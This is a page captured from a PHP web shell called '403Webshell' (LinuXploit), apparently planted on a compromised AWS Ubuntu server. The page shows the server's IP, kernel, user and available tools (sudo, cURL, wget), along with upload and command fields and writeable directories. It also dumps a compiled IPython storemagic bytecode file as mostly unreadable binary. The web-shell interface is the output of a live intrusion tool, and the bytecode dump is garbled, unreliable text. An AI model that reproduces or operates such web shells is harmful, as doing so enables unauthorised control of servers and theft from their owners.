403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.217.120
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/IPython/extensions/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/IPython/extensions/__pycache__/storemagic.cpython-312.pyc
�

}�e����dZddlZddlZddlZddlZddlmZddlmZm	Z	m
Z
ddlmZddl
mZdd�Zd�Zd	�Zd
�Ze	Gd�de��Zd
�Zy)z�
%store magic for lightweight persistence.

Stores variables, aliases and macros in IPython's database.

To automatically restore stored variables at startup, add this to your
:file:`ipython_config.py` file::

  c.StoreMagics.autorestore = True
�N)�
UsageError)�Magics�magics_class�
line_magic)�skip_doctest)�Boolc���|jjdi�}|�5|j�D]!\}}|jj	||��#y|jj	|||�y)N�stored_aliases)�db�get�items�
alias_manager�define_alias)�ip�alias�	staliases�k�vs     �?/usr/lib/python3/dist-packages/IPython/extensions/storemagic.py�restore_aliasesrsk�����	�	�*�B�/�I��}��?�?�$�	/�C�A�a�
���)�)�!�A�.�	/�
	���%�%�e�Y�u�-=�>�c�,�|j}|jd�D]6}tjj	|�}	||}||j
|<�8y#t$r2td|z�tdtj�d�Y�twxYw)N�
autorestore/*zEUnable to restore variable '%s', ignoring (use %%store -d to forget!)zThe error was:r)
r�keys�os�path�basename�user_ns�KeyError�print�sys�exc_info)rr�key�justkey�objs     r�refresh_variablesr&#s���	���B��w�w��'�
&���'�'�"�"�3�'��	&��S�'�C�#&�B�J�J�w��
&��
�	7��Y�\c�c�d��"�C�L�L�N�1�$5�6�	7�s�A�8B�Bc�V�|jjdg�|jd<y)N�dhist�_dh)rrr�rs r�
restore_dhistr+2s�����	�	�'�"�-�B�J�J�u�rc�F�t|�t|�t|�y�N)r&rr+r*s r�restore_datar.6s���b���B���"�rc�r��eZdZdZedd��jd��Z�fd�Zee	d	d���Z
�xZS)
�StoreMagicszMLightweight persistence for python variables.

    Provides the %store magic.FzdIf True, any %store-d variables will be automatically restored
        when IPython starts.
        )�helpT)�configc���tt|�|��|jjj|�|jrt|j�yy)N)�shell)�superr0�__init__r4�
configurables�append�autorestorer.)�selfr4�	__class__s  �rr6zStoreMagics.__init__HsG���
�k�4�)��)�6��
�
� � �'�'��-��������$�rc�8�|j|dd��\}}|j�}|j}|j}d|vr	|d}	|d|z=yd
|vr|jd�D]}	||	=�yd|vr.|r |D]}
	|d|
z}||j|
<�yt|�y|s�|jd�}|j�|rttt |��}
nd}
td�dt#|
�zdz}|j$}|D]D}t&j(j+|�}t||t-||d��ddfz��Fyt!|�dkD�r$|dj/d��rt&j(j1|dj3d�j3��}|dj/d�rt5|dd��}nt5|dd��}|5|j7|d�}td|d�d|j8j:�d|�d��t=|t"�sddlm}|||�n3|jA|�|jCd �s|jAd �ddd�y|D]�}
	|j|
}tEtGjH|�d!d"�}|d#k(r'ttKjLd$|
�d%|�d&���y||d|
z<td'|
�d|j8j:�d(����y#t$r}td|z�|�d}~wwxYw#t$r}td	�|�d}~wwxYw#t$r0	t||
�
�n#t$rtd|
z�YnwxYwY��wxYw#1swYyxYw#t$rq|
}	|jNjQ|�}n #tR$r}td)|z�|�d}~wwxYw|j%d*i�}|||<||d*<td+|�d,|�d(��YywxYw)-a�Lightweight persistence for python variables.

        Example::

          In [1]: l = ['hello',10,'world']
          In [2]: %store l
          Stored 'l' (list)
          In [3]: exit

          (IPython session is closed and started again...)

          ville@badger:~$ ipython
          In [1]: l
          NameError: name 'l' is not defined
          In [2]: %store -r
          In [3]: l
          Out[3]: ['hello', 10, 'world']

        Usage:

        * ``%store``          - Show list of all variables and their current
                                values
        * ``%store spam bar`` - Store the *current* value of the variables spam
                                and bar to disk
        * ``%store -d spam``  - Remove the variable and its value from storage
        * ``%store -z``       - Remove all variables from storage
        * ``%store -r``       - Refresh all variables, aliases and directory history
                                from store (overwrite current vals)
        * ``%store -r spam bar`` - Refresh specified variables and aliases from store
                                   (delete current val)
        * ``%store foo >a.txt``  - Store value of foo to new file a.txt
        * ``%store foo >>a.txt`` - Append value of foo to file a.txt

        It should be noted that if you change the value of a variable, you
        need to %store it again if you want to persist the new value.

        Note also that the variables will need to be pickleable; most basic
        python types can be safely %store'd.

        Also aliases can be %store'd across sessions.
        To remove an alias from the storage, use the %unalias magic.
        �drz�string)�mode�drzautorestore/zCan't delete variable '%s'Nz'You must provide the variable to forget�zr�r)rzno stored variable or alias %sz(Stored variables and their in-db values:z%-zs -> %sz
<unavailable>�2��>z>>�azutf-8)�encoding�wz	Writing 'z' (z) to file 'z'.)�pprint�
�__name__��__main__z                         Warning:z is a

                        Proper storage of interactively declared classes (or instances
                        of those classes) is not possible! Only instances
                        of classes in real modules on file system can be %store'd.
                        zStored '�)zUnknown variable '%s'r
zAlias stored: z ()*�
parse_options�splitr4r�
BaseExceptionr�
IndexErrorrrrrr r.�sort�max�map�len�strrrrr�repr�
startswith�
expanduser�lstrip�open�evr;rK�
isinstancerI�write�endswith�getattr�inspect�	getmodule�textwrap�dedentr�retrieve_alias�
ValueError)r:�parameter_s�opts�argsl�argsrr�todel�er�argr%�vars�size�fmtr�varr$�fnam�filrI�modname�name�cmdrs                         r�storezStoreMagics.storeNs&��\�'�'��E�x�'�H�
��U��{�{�}��
�Z�Z��
�U�U���$�;�
R��Q���R��>�E�1�2��D�[��W�W�_�-�
���q�E�
��D�[���	.�C�.� ��#�!5�6��+.��
�
�3��	.��R� ���7�7�?�+�D��I�I�K���3�s�D�>�*�����<�=��s�4�y�.��*�C��&�&�C��
M���'�'�*�*�3�/���c�W�d�3�s�O�+D�&E�c�r�&J�K�K�L�
M��4�y�1�}��a��!3�!3�C�!8��w�w�)�)�$�q�'�.�.��*=�*D�*D�*F�G����7�%�%�d�+��t�S�7�;�C��t�S�7�;�C��,��%�%��Q��.�C��t�A�w��
�
�.�.��6�7�&�s�C�0�1��s�C�(��	�	�#��"�|�|�D�1��I�I�d�O�,���
N��N��*�*�S�/�C� &�g�&7�&7��&<�j�"�M�G��*�,��h�o�o�
 #�C�/)�+�,��14�B���,�.���S�]�]�5K�5K�L�M�;
N��A%�R�$�%A�E�%I�J�PQ�Q��R���
S� �!J�K�QR�R��
S��"$�J�J�+�B�c�:��'�J�!�"B�S�"H�I�J��J��H,��� ���D�P� �.�.�=�=�d�C���%�P�(�)@�4�)G�H�a�O��P��!#���'7�� ;�I�&)�I�d�O�+4�B�'�(��T�3�?�@���s��L:�L�<M�+BN�N�	L7�#L2�2L7�:	M�M�M�	N�!
M/�.N�/N	�N�N	�	N�N�N�P�+O�P�	O$�O�O$�$1P�P)rL)rK�
__module__�__qualname__�__doc__r�tagr9r6rrrx�
__classcell__)r;s@rr0r0<sQ���"��u�	��
�c��c��	�%���VN���VNrr0c�.�|jt�y)zLoad the extension in IPython.N)�register_magicsr0r*s r�load_ipython_extensionr��s�����{�#rr-)r{rbrr!rd�IPython.core.errorr�IPython.core.magicrrr�IPython.testing.skipdoctestr�	traitletsrrr&r+r.r0r��rr�<module>r�s\��	�"�!�)�?�?�4��?�&�.���iN�&�iN��iN�X$r

Youez - 2016 - github.com/yon3zu
LinuXploit